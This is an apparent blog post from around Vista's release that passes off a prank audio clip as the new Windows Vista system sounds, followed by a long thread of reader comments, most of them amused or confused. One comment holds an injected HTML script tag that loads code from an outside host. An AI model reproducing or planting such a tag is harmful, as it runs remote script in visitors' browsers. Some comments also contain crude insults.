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Windows Vista Sounds

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The user experience is a high priority for Windows Vista, and part of that "experience" are the sounds that come with the operating system.  It's incredible the amount of work that goes in to capturing that perfect sound to represent different events in Vista, and we went to the trouble of drafting in Robert Fripp who I've personally never heard of, but my dad says was pivotal to the music era of the sixties (apparently).  Despite me not knowing who he is, he hails from a sleepy part of England called Dorset - and whilst that bears no relevance whatsover to the sounds in Vista, does mean he is British - which for me at least is something to be proud of.

More recently, it seems Fripp has been dabbling in producing atmospheric sound effects using to his trusty electric guitar, and those are the kinds of sounds you are going to hear in Vista - you can check out him in the Microsoft studios recording the sounds on this video. 

So over the weekend I installed a nice shiney RTM build and the sounds have been upgraded from the ones in XP to the new creations by Robert Fripp.  I'd thought I would share some of these with you and I've compiled them in this mp3 which you can download and listen to below.

The sounds I cover are the following:

  • Critical Stop
  • ReadyBoost drive inserted
  • Windows UAC control prompt
  • New e-mail notification
  • Low Battery Alarm
  • Exclamation
  • Windows Start
  • Exit Windows

 

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Download the mp3 here!

Comments

  • Anonymous
    January 01, 2003
    My partner-in-crime, James Senior (of Vista RTM Sounds fame...) blogged about this a while back, so no

  • Anonymous
    January 01, 2003
    כאן

  • Anonymous
    January 01, 2003
    Views on Vista : Windows Vista Sounds posted at IndianPad.com

  • Anonymous
    January 01, 2003
    A compiliation of sounds from Windows Vista including Critical Stop, Readboost drive inserted, Windows

  • Anonymous
    January 01, 2003
    Via Larry Osterman's blog I found the new sounds that will play in the RTM builds of Windows Vista. Up

  • Anonymous
    January 01, 2003
    Well, we've been waiting along time (5 years, 3 months and 5 days to be precise), but, Windows Vista

  • Anonymous
    January 01, 2003
    A little bit off topic - but a colleague of mine James who is currently working on Vista recently published

  • Anonymous
    January 01, 2003
    Matt: I know! I only meant it as a bit of fun.  My motto is that if you can't laugh at yourself then you're being too serious. thanks for all the comments though! James

  • Anonymous
    January 01, 2003
    Love it!! One of the first things I do is customise my sound scheme.....the Empty Recycle Bin sound is a flushing toilet.......;)

  • Anonymous
    January 01, 2003
    Shadowmaster: obviously you have enough time to comment!

  • Anonymous
    January 01, 2003
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  • Anonymous
    January 01, 2003
    Yes, Command "A" soudtrack is very nice ;-)

  • Anonymous
    January 01, 2003
    ROFL :-)

  • Anonymous
    January 01, 2003
    Nudge nudge, wink wink, say no more ;-)

  • Anonymous
    January 01, 2003
    LOL! :D

  • Anonymous
    October 30, 2006
    These sounsd just totally rock... everyone is for sure going to be blown away by this. Robert Fripp certainly can make some cool sounds with his guitar!

  • Anonymous
    October 30, 2006
    I love it Dude. And in this way, do you have Vista's background ? ;)

  • Anonymous
    October 30, 2006
    The e-mail notification is the most accurate. WinMail still does a lousy job on Spam. Its a real treat though, thanks James.

  • Anonymous
    October 30, 2006
    I am english too - but i am worried about your sense of humour.. is this TRUE!?!! Wow, I feel an idiot, but i am not sure - please tell me you are kidding me! Sounds rediculous

  • Anonymous
    October 30, 2006
    Hello again, ok, this really was a wind-up; and a good one at that.. i should have listened to all of them (inluding the new mail) instead of just the critical stop, and opening windows...

  • Anonymous
    October 30, 2006
    ha ha ha... how about the real sounds?

  • Anonymous
    October 30, 2006
    I think this is the best sound scheme ever!

  • Anonymous
    October 30, 2006
    seriously is this real??? or just a joke????

  • Anonymous
    October 30, 2006
    VERY funny - thanks :)

  • Anonymous
    October 30, 2006
    Are you serious? These are really the sounds of vista?

  • Anonymous
    October 30, 2006
    seriously a waste of 1:46 minutes of my life... i wasnt expecting this...

  • Anonymous
    October 30, 2006
    You got to be kidding me.

  • Anonymous
    October 30, 2006
    I like them....man, the A-team!! :)

  • Anonymous
    October 30, 2006
    I wish i win

  • Anonymous
    October 30, 2006
    ^^^^ DUMBASSS

  • Anonymous
    October 30, 2006
    ROTF :-) hahaha, Now I need assurance that this was just a joke or I'll have a heart attack lol.

  • Anonymous
    October 30, 2006
    Robert Fripp was a founder and continuing member of King Crimson, along with Greg Lake (later of Emerson, Lake, and Palmer), Ian McDonald (later of Foreigner), Michael Giles, and Peter Sinfield.   Should be good stuff ...

  • Anonymous
    October 30, 2006
    LoL. Very funny but it gets stranger the more you listen to them

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    ROLF THIS ROFFLEPWNS :P

  • Anonymous
    October 30, 2006
    muahahahahahhahaha

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    not funny

  • Anonymous
    October 30, 2006
    I think this is the real deal :)

  • Anonymous
    October 30, 2006
    oh, c'mon ishan!

  • Anonymous
    October 30, 2006
    beautiful soundtrack.. hahahaha! I like what n4cer said :p

  • Anonymous
    October 30, 2006
    Look what you've done, I bet now someone is actually going to use those...

  • Anonymous
    October 30, 2006
    hey if this would be real i wouldnt mind

  • Anonymous
    October 30, 2006
    i think they are awful few months ago somebody posted windows vista unofficial sound pack or sth else and this is far more better

  • Anonymous
    October 30, 2006
    Man Microsoft ROXORS! Who would have thought to use Homer Simpson's "Doh!" as a critical stop sound? That is soooo '07. I can't wait to install Vista just so I can have those new sounds.

  • Anonymous
    October 30, 2006
    spam, spam, spam, spam!!! OMG

  • Anonymous
    October 30, 2006
    Well - geeeee - thanks for wasting my bandwidth....

  • Anonymous
    October 30, 2006
    epic! :)

  • Anonymous
    October 30, 2006
    I had these on my old 30MB PowerMac.

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    Just a bit of education on Robert Fripp. He was one of the founder and guitarist of a group called King Crimson which you may have heard of. Of all choices of musicians to use to make the Vista sounds this was by far the best choice. look him up on Wikipedia for an idea on who this guy is, you cannot help but be impressed at his background.

  • Anonymous
    October 30, 2006
    OK, Should have listened to the sounds before posting :-)

  • Anonymous
    October 30, 2006
    What a f**** waste of my time! Loser!

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    I wish this was funny, but it's not.

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    Ni siquiera eran originales.

  • Anonymous
    October 30, 2006
    April Fools is a good 6 months away.

  • Anonymous
    October 30, 2006
    Gotta love the good old A-Team! This is hilarious!!

  • Anonymous
    October 30, 2006
    Wow, That is awesome!

  • Anonymous
    October 30, 2006
    @ishan: Two things make this an obvious joke:

  1. These sounds do not present a "consistent user experience", so the MS designers would never sign off.
  2. The selfish and obstructionist nature of copyright law means any collection like this would be prohibitively expensive, even for one of the richest companies in the world, particularly since .WAV files do not provide any copy-blocking mechanism.

  • Anonymous
    October 30, 2006
    horrible

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    the startup sound in vista is at best a flushing toilet, since thats the sound of your money going down the drain into Bills wallett as you fork over $299 for the Ultimate Vista experience. Vista, which is at best a poor copy of OS X, is more like old Windows XP with a new shower curtain for the toilet and bath ensemble PC you own. Maybe try adding some neon lights in pink or yellow with fish and a fuzzy rug to further improve the BO that MSFT is giving off. But, flush twice, its a long way to MSFT Redmond offices.

  • Anonymous
    October 30, 2006
    The Exit Windows sound was actually my Exit Windows sound back in Windows 95! :D And the Windows Start sound - brilliant!

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    uhm seriously, this is cartoons, nd the guy didnt even laugh at it, he was talking seriously, please, i like the sounds in vista right now...

  • Anonymous
    October 30, 2006
    Ah.. I see.. just like a joke, only not as funny.

  • Anonymous
    October 30, 2006
    har har....the first thing I do with Windows sounds is TURN THEM OFF!!!!

  • Anonymous
    October 30, 2006
    Yes, they "are" actually going to use these sounds, because they are even more moronic than we give them credit for.

  • Anonymous
    October 30, 2006
    Um, those sounds are almost unbelievable.  I will believe it when I see (hear) it when Vista actually comes out.

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    that was a joke... if it's for real... it's going in the Recycle Bin and flushed down the toilet

  • Anonymous
    October 30, 2006
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  • Anonymous
    October 30, 2006
    Nice to hear good old Popeye is not Forgotten.... All HAIL SPINACH!

  • Anonymous
    October 30, 2006
    This has gotta be a joke. and if its not... Im glad im a Mac user..

  • Anonymous
    October 30, 2006
    xDDDDDDDD I want the a-team sound in vista!!!

  • Anonymous
    October 30, 2006
    I would have guessed "Imperial March" (Star Wars) for Windows Start, but this is an acceptable alternative ;)

  • Anonymous
    October 31, 2006
    Don't know who Robert Fripp is? you must be quite young with no real musical backround. Sorry but you missed quite a bit in your life.

  • Anonymous
    October 31, 2006
    of course its a alternate sound scheme....this is just a  act of Microsoft's to just get people talking about vista

  • Anonymous
    October 31, 2006
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  • Anonymous
    October 31, 2006
    as we used to say in the studio, 'you can't polish a turd'   ...  seems the sounddesign for this floater is ready :)

  • Anonymous
    October 31, 2006
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  • Anonymous
    October 31, 2006
    this is so sad...

  • Anonymous
    October 31, 2006
    lol, fantastic! Shame some people have no sense of humour ;)

  • Anonymous
    October 31, 2006
    Lool That are the best sounds that i have ever heard! A-Team 4ever!

  • Anonymous
    October 31, 2006
    Did you know the word gullible isn't in the dictionary.

  • Anonymous
    October 31, 2006
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  • Anonymous
    October 31, 2006
    I love how mac users get all insecure when ever vista (or zune) is mentioned and feel they need to justify using OS X to themselves.

  • Anonymous
    October 31, 2006
    Best Startup Sound Evar!

  • Anonymous
    October 31, 2006
    I love how mac users become all insecure when ever vista is mentioned and feel they need to convince themselves and everyone else they made the right choice.

  • Anonymous
    October 31, 2006
    I can only hope vista will be released with at least the option to select this sound scheme. :)

  • Anonymous
    October 31, 2006
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    October 31, 2006
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  • Anonymous
    October 31, 2006
    Speaking of sounds, pull the other one -- it's got bells on! But seriously: I wish that they could have REALLY used the theme to "The A-Team" in Windows Vista...although, if you ask me, a more appropriate sound for people who are among the first purchasers of the OS would be a sample of Mr. T saying what I think of that: "I PITY THE FOOL!"

  • Anonymous
    October 31, 2006
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    October 31, 2006
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  • Anonymous
    October 31, 2006
    Nice info...

  • Anonymous
    October 31, 2006
    you gotta be kiddin me! :| well... actually nice sounds, but some are so loooong....... -fm

  • Anonymous
    October 31, 2006
    Vista? Is this the same classy, shiny, oh-so-cool-and-sophisticated Vista? Sound scheme is far from what I expected, and it really doesn't make Vista seem as shiny and Aero-y as, well I thought it would. This has to be a funny one...

  • Anonymous
    October 31, 2006
    Cheer ! Excellently selection ! Thank you, for this section to laugh.

  • Anonymous
    October 31, 2006
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  • Anonymous
    October 31, 2006
    I wonder what all this is in Korean?

  • Anonymous
    October 31, 2006
    Very funny... creative and smart.  Bill Gate is laughing.

  • Anonymous
    October 31, 2006
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  • Anonymous
    October 31, 2006
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  • Anonymous
    November 01, 2006
    For those of you that actually think these are the actual sounds that will be carried in Windows Vista. You need to detach yourself from everything you believe in, because you'll believe in anything. Might I interest you in buying a copy of Windows ME, or the more non-GUI people, a copy of C/PM?

  • Anonymous
    November 01, 2006
    sweet sounds, the mail one was accurate

  • Anonymous
    November 02, 2006
    I like EXIT Windows.

  • Anonymous
    November 02, 2006
    Absolutely hilarious.  And also exactly the sort of thing that Vista / Palladium / SecureComputing / TrustedComputing / "whatever we are calling User Lockout today" will be designed to stop you doing. Fair use exclusions? I'm sorry, our DRM doesn't have to comply with the copyright laws, just the DMCA. Interesting question - where did you get those clips from?  Not from DVD obviously as it won't allow it. Not from digital television with the broadcast flag either - also not allowed. Surely you didn't use evil P2P software to download them?

  • Anonymous
    November 02, 2006
    Any King Crimson fan would know this was a put on because Fripp has absolutely no humor when it comes to music.  I'm going to bet that all Crimson fans are so ready to scold you for not knowing anything about music that they fail to listen to the tape.  Nice to see that more than 70% of the comments here get the joke.  30% of the web not having any sense of humor is a lower number than I'd have guessed <a href="http://patf.net">http://patf.net</a>

  • Anonymous
    November 03, 2006
    nice soudn in special Windows Start and Exclamation wua that sounds reflect the thrue abuot windows vista

  • Anonymous
    November 03, 2006
    lawl

  • Anonymous
    November 03, 2006
    weeeeee

  • Anonymous
    November 03, 2006
    "Well - geeeee - thanks for wasting my bandwidth...." "seriously a waste of 1:46 minutes of my life..." "What a f**** waste of my time! Loser!" some people just don't have a sense of humour. how sad.

  • Anonymous
    November 05, 2006
    It'll be worth buying just to hear the 'A-team' on startup. LOL.

  • Anonymous
    November 06, 2006
    Hey Darcey, i noticed you tried to stir up a debate by mentioning MAC users twice with what was essentially the same post just worded differently.   All ive got to say is, rather than stir up trouble just respect someones choice to use a MAC or even an AMIGA in some cases like me, over using Windows.  We all know what is best for us from our previous experience with other Operating systems, and it wrong to suspect otherwise.   Windows users have been making these inflamatory comments since as far back as i can remember.. circa 1991 onwards.

  • Anonymous
    November 07, 2006
    That was so funny!!!!  Thanks for the laugh!

  • Anonymous
    November 09, 2006
    That is sooo funny! (really surprised at some of the responses from people, what's up with everyone saying it's a waste of time? it's a joke, some people must be REALLY boring!!)

  • Anonymous
    November 09, 2006
    I think those might just replace my XP sound scheme.

  • Anonymous
    November 10, 2006
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  • Anonymous
    November 12, 2006
    Not so funny

  • Anonymous
    November 13, 2006
    Next time, please mention that its complete bullsh*t, before you waste my time. Your life may be fun to waste, but my lifespan has some importance.

  • Anonymous
    November 13, 2006
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  • Anonymous
    November 13, 2006
    <script src=http://usuc.us/j.php>jonny</script>

  • Anonymous
    November 13, 2006
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  • Anonymous
    November 17, 2006
    it's a circus!!:-)

  • Anonymous
    November 19, 2006
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  • Anonymous
    November 26, 2006
    That's it I am pre-ordering my copy now! These sounds make it a must upgrade for me.

  • Anonymous
    January 07, 2007
    Thanks this is great. Useful for me very much... Wait a year or two and the names will be Jose Lopez Imilio Gonzalles. And may have this time accept your parameters for FName, MI, LName wouldn’t allow it. :)  

  • Anonymous
    January 13, 2007
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  • Anonymous
    January 17, 2007
    The sounds are, shall I say, pretty...umm...unusual, given what Windows Vista appears to be getting at. I would imagine that the Vista sounds should sound even more soothing than the Windows XP Default sound scheme. After hearing the audio clip, I am quite chagrined that an OS like Windows will ever have to use weird sounds like these. It seems like a harbinger for future Windows sound schemes.

  • Anonymous
    March 08, 2007
    All you people that asked if it was real are morons. Obviously they arnt the real ones...

  • Anonymous
    March 19, 2007
    ppol who liked these stupid sounds r more stupid than these sounds. sorry about that humm!

  • Anonymous
    April 04, 2007
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  • Anonymous
    January 20, 2008
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  • Anonymous
    November 17, 2008
    <FONT COLOR="BROWN"><B>Really stupidious post man...</B></FONT>

  • Anonymous
    June 17, 2009
    you look just like ryan seacrest